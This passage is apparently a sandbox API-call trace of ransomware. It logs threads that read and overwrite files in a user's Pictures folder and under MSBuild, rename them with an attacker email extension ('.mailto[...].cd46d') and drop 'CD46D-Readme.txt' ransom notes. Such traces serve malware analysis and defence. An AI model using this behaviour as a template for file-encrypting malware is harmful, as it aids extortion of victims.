0x7269ee [0050.958] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x5fd65799 [0050.958] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x13c47a62 [0050.958] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x746d34e5 [0050.958] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x292c95a6 [0050.958] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x111b29e9 [0050.958] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x47086835 [0050.958] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x1e418abc [0050.958] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x635dda1c [0050.958] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x2cc2d415 [0050.958] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0xaf8e27d [0050.958] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x65cf51e3 [0050.958] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x314ed5f8 [0050.958] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x11dccee [0050.959] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x4dc73007 [0050.959] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x46e7e963 [0050.959] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x786caeb6 [0050.959] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x45b6c582 [0050.959] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x18100fe3 [0050.959] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x5a3780d7 [0050.959] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x2d909438 [0050.959] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x33290655 [0050.959] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x3164615b [0050.959] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x12d70e49 [0050.959] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x563cb85a [0050.959] RtlRandomEx (in: Seed=0x10f2fd18 | out: Seed=0x10f2fd18) returned 0x874f44d [0050.971] ReadFile (in: hFile=0xbd0, lpBuffer=0x12d869b0, nNumberOfBytesToRead=0x72d7, lpNumberOfBytesRead=0x10f2fd08, lpOverlapped=0x0 | out: lpBuffer=0x12d869b0*, lpNumberOfBytesRead=0x10f2fd08*=0x72d7, lpOverlapped=0x0) returned 1 [0050.972] SetFilePointerEx (in: hFile=0xbd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.972] WriteFile (in: hFile=0xbd0, lpBuffer=0x12d931b8*, nNumberOfBytesToWrite=0x72d7, lpNumberOfBytesWritten=0x10f2fd04, lpOverlapped=0x0 | out: lpBuffer=0x12d931b8*, lpNumberOfBytesWritten=0x10f2fd04*=0x72d7, lpOverlapped=0x0) returned 1 [0053.434] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf320 [0053.434] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf348 [0053.434] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf348) returned 1 [0053.434] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d931b8) returned 1 [0053.434] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d869b0) returned 1 [0053.438] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5238) returned 1 [0053.438] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0053.438] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x33) returned 0x5efe170 [0053.438] SetFilePointerEx (in: hFile=0xbd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.438] WriteFile (in: hFile=0xbd0, lpBuffer=0x97cfab8*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0x10f2fd6c, lpOverlapped=0x0 | out: lpBuffer=0x97cfab8*, lpNumberOfBytesWritten=0x10f2fd6c*=0x117, lpOverlapped=0x0) returned 1 [0053.607] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cfab8) returned 1 [0053.607] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe1b0) returned 1 [0053.607] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf348) returned 1 [0053.607] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe170) returned 1 [0053.607] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf320) returned 1 [0053.608] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460b50) returned 1 [0053.608] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460bf0) returned 1 [0053.608] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460c18) returned 1 [0053.608] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 0x12f4d780 [0053.608] wcscpy (in: _Dest=0x12f4d780, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\x3L7dAtCYcnatbA.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\x3L7dAtCYcnatbA.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\x3L7dAtCYcnatbA.gif" [0053.608] wcscat (in: _Dest=0x12f4d780, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\x3L7dAtCYcnatbA.gif.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\x3L7dAtCYcnatbA.gif.mailto[2Hamlampampom@cock.li].cd46d" [0053.608] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\x3L7dAtCYcnatbA.gif.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x10f2fd24, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\x3L7dAtCYcnatbA.gif.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.608] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd4) returned 0x12d05808 [0053.807] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05808) returned 1 [0053.807] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a1a18) returned 1 [0053.807] NtQueryInformationFile (in: FileHandle=0xbd0, IoStatusBlock=0x10f2fd30, FileInformation=0x10f2fd08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x10f2fd30, FileInformation=0x10f2fd08) returned 0x0 [0053.807] NtSetInformationFile (FileHandle=0xbd0, IoStatusBlock=0x10f2fd30, FileInformation=0x10f2fd08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.808] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d780) returned 1 [0053.808] FlushFileBuffers (hFile=0xbd0) returned 1 [0053.812] CloseHandle (hObject=0xbd0) returned 1 [0053.812] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x12e08d18 [0053.812] wcscpy (in: _Dest=0x12e08d18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0053.812] wcscat (in: _Dest=0x12e08d18, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt" [0053.813] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\cd46d-readme.txt")) returned 0x20 [0054.047] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e08d18) returned 1 [0054.047] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45e7b8) returned 1 Thread: id = 673 os_tid = 0xba8 [0050.973] GetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.targets")) returned 0x20 [0050.973] SetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets", dwFileAttributes=0x20) returned 1 [0050.973] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.targets"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xbd4 [0050.973] GetFileSizeEx (in: hFile=0xbd4, lpFileSize=0x10fbfb88 | out: lpFileSize=0x10fbfb88*=4726) returned 1 [0050.973] SetFilePointerEx (in: hFile=0xbd4, liDistanceToMove=0x1272, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.973] ReadFile (in: hFile=0xbd4, lpBuffer=0x10fbfb0c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10fbfb08, lpOverlapped=0x0 | out: lpBuffer=0x10fbfb0c*, lpNumberOfBytesRead=0x10fbfb08*=0x4, lpOverlapped=0x0) returned 1 [0050.975] SetFilePointerEx (in: hFile=0xbd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.975] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460a38 [0050.975] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460bc8 [0050.975] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460c40 [0050.975] NtQuerySystemTime (in: CurrentTime=0x10fbfae8 | out: CurrentTime=0x10fbfae8*=132174898149576000) returned 0x0 [0050.975] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x71ee1207 [0050.975] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x1add7a12 [0050.975] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x4deed87c [0050.975] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x3b196c4 [0050.975] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x70a259ec [0050.975] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x66b1ac5a [0050.975] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x57bf1f89 [0050.975] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x48c53d5e [0050.975] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x16cbe14d [0050.975] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x5f4295fd [0050.975] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x2fd35a6a [0050.975] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x44be32e [0050.975] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x3da1be16 [0050.975] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x5215c86b [0050.975] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x4edee1ca [0050.975] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x1495ad1c [0050.975] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x148a5ae [0050.976] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x130f270f [0050.976] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x1413806d [0050.976] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x7db6f4ff [0050.976] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x695470e1 [0050.976] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x2301ceb1 [0050.976] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x5a4d1643 [0050.976] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x72e9a2f0 [0050.976] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x4781e161 [0050.976] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x19e572e [0050.976] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x7398bec3 [0050.976] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x543c3213 [0050.976] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x2a8abeaf [0050.976] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x1866d1e9 [0050.976] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x5daa8db7 [0050.976] RtlRandomEx (in: Seed=0x10fbfaf4 | out: Seed=0x10fbfaf4) returned 0x224a01b1 [0050.988] ReadFile (in: hFile=0xbd4, lpBuffer=0x12d9f9c0, nNumberOfBytesToRead=0x1276, lpNumberOfBytesRead=0x10fbfae4, lpOverlapped=0x0 | out: lpBuffer=0x12d9f9c0*, lpNumberOfBytesRead=0x10fbfae4*=0x1276, lpOverlapped=0x0) returned 1 [0050.989] SetFilePointerEx (in: hFile=0xbd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.989] WriteFile (in: hFile=0xbd4, lpBuffer=0x12dac1c8*, nNumberOfBytesToWrite=0x1276, lpNumberOfBytesWritten=0x10fbfae0, lpOverlapped=0x0 | out: lpBuffer=0x12dac1c8*, lpNumberOfBytesWritten=0x10fbfae0*=0x1276, lpOverlapped=0x0) returned 1 [0055.458] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0808 [0055.458] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0308 [0055.458] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0308) returned 1 [0055.458] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12dac1c8) returned 1 [0055.458] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d9f9c0) returned 1 [0055.458] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed52b0) returned 1 [0055.458] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd78) returned 1 [0055.458] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2d) returned 0x40aa68 [0055.458] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd78 [0055.458] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed52b0 [0055.458] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0308 [0055.458] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0308) returned 1 [0055.458] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2d) returned 0x40ab80 [0055.458] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0308 [0055.459] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d02b8 [0055.459] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d02b8) returned 1 [0055.459] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed52b0) returned 1 [0055.459] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd78) returned 1 [0055.459] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x111) returned 0x5efe280 [0055.459] SetFilePointerEx (in: hFile=0xbd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.459] WriteFile (in: hFile=0xbd4, lpBuffer=0x5efe280*, nNumberOfBytesToWrite=0x111, lpNumberOfBytesWritten=0x10fbfb48, lpOverlapped=0x0 | out: lpBuffer=0x5efe280*, lpNumberOfBytesWritten=0x10fbfb48*=0x111, lpOverlapped=0x0) returned 1 [0056.618] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe280) returned 1 [0056.618] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ab80) returned 1 [0056.618] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0308) returned 1 [0056.618] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40aa68) returned 1 [0056.618] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0808) returned 1 [0056.618] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460bc8) returned 1 [0056.618] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460c68) returned 1 [0056.618] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460c90) returned 1 [0056.618] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xf2) returned 0x41c5b8 [0056.618] wcscpy (in: _Dest=0x41c5b8, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets" [0056.618] wcscat (in: _Dest=0x41c5b8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets.mailto[2Hamlampampom@cock.li].cd46d" [0056.618] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x10fbfb00, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.618] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x108) returned 0x196d0d90 [0056.641] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196d0d90) returned 1 [0056.641] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4da2d8) returned 1 [0056.641] NtQueryInformationFile (in: FileHandle=0xbd4, IoStatusBlock=0x10fbfb0c, FileInformation=0x10fbfae4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x10fbfb0c, FileInformation=0x10fbfae4) returned 0x0 [0056.641] NtSetInformationFile (FileHandle=0xbd4, IoStatusBlock=0x10fbfb0c, FileInformation=0x10fbfae4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.664] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41c5b8) returned 1 [0056.664] FlushFileBuffers (hFile=0xbd4) returned 1 [0056.668] CloseHandle (hObject=0xbd4) returned 1 [0056.682] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xac) returned 0x45c408 [0056.682] wcscpy (in: _Dest=0x45c408, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\" [0056.682] wcscat (in: _Dest=0x45c408, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\CD46D-Readme.txt") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\CD46D-Readme.txt" [0056.683] GetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\CD46D-Readme.txt" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\cd46d-readme.txt")) returned 0xffffffff [0056.683] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\CD46D-Readme.txt" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe64 [0056.693] WriteFile (in: hFile=0xe64, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x10fbfb08, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0x10fbfb08*=0x6fd, lpOverlapped=0x0) returned 1 [0056.702] CloseHandle (hObject=0xe64) returned 1 [0056.708] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c408) returned 1 [0056.708] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c1e0) returned 1 Thread: id = 674 os_tid = 0xbac [0050.988] GetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.visualbasic.targets")) returned 0x20 [0050.989] SetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets", dwFileAttributes=0x20) returned 1 [0050.989] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.visualbasic.targets"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xbd8 [0050.990] GetFileSizeEx (in: hFile=0xbd8, lpFileSize=0x10dffad4 | out: lpFileSize=0x10dffad4*=5182) returned 1 [0050.990] SetFilePointerEx (in: hFile=0xbd8, liDistanceToMove=0x143a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.990] ReadFile (in: hFile=0xbd8, lpBuffer=0x10dffa58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10dffa54, lpOverlapped=0x0 | out: lpBuffer=0x10dffa58*, lpNumberOfBytesRead=0x10dffa54*=0x4, lpOverlapped=0x0) returned 1 [0050.991] SetFilePointerEx (in: hFile=0xbd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.991] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460a38 [0050.991] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460c40 [0050.991] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460cb8 [0050.991] NtQuerySystemTime (in: CurrentTime=0x10dffa34 | out: CurrentTime=0x10dffa34*=132174898149732000) returned 0x0 [0050.991] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x30a94218 [0050.991] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x1637aad7 [0050.991] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x66709464 [0050.991] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x1c6d6a7c [0050.991] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x7015fca2 [0050.991] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x45ae2d64 [0050.991] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x2178c84c [0050.991] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x42edd6f4 [0050.991] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x18503052 [0050.992] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x68b7e662 [0050.992] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x3a76a123 [0050.992] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x4e8308 [0050.992] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x267bd38f [0050.992] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x7d42bb35 [0050.992] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x4f9aec66 [0050.992] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x44d2db3a [0050.992] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x2922c5c4 [0050.992] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x2c75a861 [0050.992] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x4e499c58 [0050.992] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x1b5be9f [0050.992] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x113c014a [0050.992] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x6221af1d [0050.992] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x16503f38 [0050.992] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x19a1afac [0050.992] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x4aae836 [0050.992] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0xf744123 [0050.992] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x7dfb0807 [0050.992] RtlRandomEx (in: Seed=0x10dffa40 | out: Seed=0x10dffa40) returned 0x375a76e [0050.992] RtlRandomEx (in: Seed=0x10dffa40 | out: 